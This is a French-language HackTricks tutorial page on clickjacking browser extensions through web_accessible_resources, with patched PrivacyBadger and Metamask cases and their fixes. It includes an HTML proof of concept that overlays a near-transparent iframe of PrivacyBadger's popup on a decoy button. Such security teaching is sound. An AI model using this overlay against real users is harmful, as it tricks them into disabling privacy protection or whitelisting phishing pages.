BrowExt - ClickJacking
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce qu'est le ClickJacking, consultez :
Les extensions contiennent le fichier manifest.json
et ce fichier JSON a un champ web_accessible_resources
. Voici ce que disent les docs de Chrome Ă ce sujet :
Ces ressources seraient alors disponibles dans une page web via l'URL
chrome-extension://[PACKAGE ID]/[PATH]
, qui peut ĂȘtre gĂ©nĂ©rĂ©e avec lamĂ©thode extension.getURL
. Les ressources autorisĂ©es sont servies avec des en-tĂȘtes CORS appropriĂ©s, donc elles sont disponibles via des mĂ©canismes comme XHR.1
Les web_accessible_resources
dans une extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent également avec les privilÚges inhérents de l'extension. Cela signifie qu'elles ont la capacité de :
- Changer l'Ă©tat de l'extension
- Charger des ressources supplémentaires
- Interagir avec le navigateur dans une certaine mesure
Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource au sein des web_accessible_resources
a une fonctionnalité significative, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Les utilisateurs non avertis visitant cette page pourraient involontairement activer cette ressource intégrée. Une telle activation pourrait entraßner des conséquences inattendues, en fonction des autorisations et des capacités des ressources de l'extension.
Exemple PrivacyBadger
Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée liée au répertoire skin/
déclaré comme web_accessible_resources
de la maniĂšre suivante (Consultez le post de blog original) :
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Cette configuration a conduit à un problÚme de sécurité potentiel. Plus précisément, le fichier skin/popup.html
, qui est rendu lors de l'interaction avec l'icĂŽne PrivacyBadger dans le navigateur, pourrait ĂȘtre intĂ©grĂ© dans un iframe
. Cette intĂ©gration pourrait ĂȘtre exploitĂ©e pour tromper les utilisateurs en les incitant Ă cliquer involontairement sur "DĂ©sactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privĂ©e de l'utilisateur en dĂ©sactivant la protection PrivacyBadger et en soumettant potentiellement l'utilisateur Ă un suivi accru. Une dĂ©monstration visuelle de cette exploitation peut ĂȘtre vue dans un exemple vidĂ©o de ClickJacking fourni Ă https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Pour remĂ©dier Ă cette vulnĂ©rabilitĂ©, une solution simple a Ă©tĂ© mise en Ćuvre : la suppression de /skin/*
de la liste des web_accessible_resources
. Ce changement a efficacement atténué le risque en veillant à ce que le contenu du répertoire skin/
ne puisse pas ĂȘtre accessible ou manipulĂ© via des ressources accessibles sur le web.
La solution Ă©tait simple : supprimer /skin/*
des web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Exemple Metamask
Un article de blog sur un ClickJacking dans metamask peut ĂȘtre trouvĂ© ici. Dans ce cas, Metamask a corrigĂ© la vulnĂ©rabilitĂ© en vĂ©rifiant que le protocole utilisĂ© pour y accĂ©der Ă©tait https:
ou http:
(pas chrome:
par exemple) :
.png)
Un autre ClickJacking corrigĂ© dans l'extension Metamask Ă©tait que les utilisateurs pouvaient Cliquer pour ajouter Ă la liste blanche lorsqu'une page Ă©tait suspecte d'ĂȘtre un phishing Ă cause de âweb_accessible_resourcesâ: [âinpage.jsâ, âphishing.htmlâ]
. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en montrant quelque chose de normal pour amener la victime à cliquer pour l'ajouter à la liste blanche sans s'en rendre compte, puis revenir à la page de phishing qui sera ajoutée à la liste blanche.
Exemple Steam Inventory Helper
Vérifiez la page suivante pour voir comment un XSS dans une extension de navigateur a été enchaßné avec une vulnérabilité ClickJacking :
Références
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.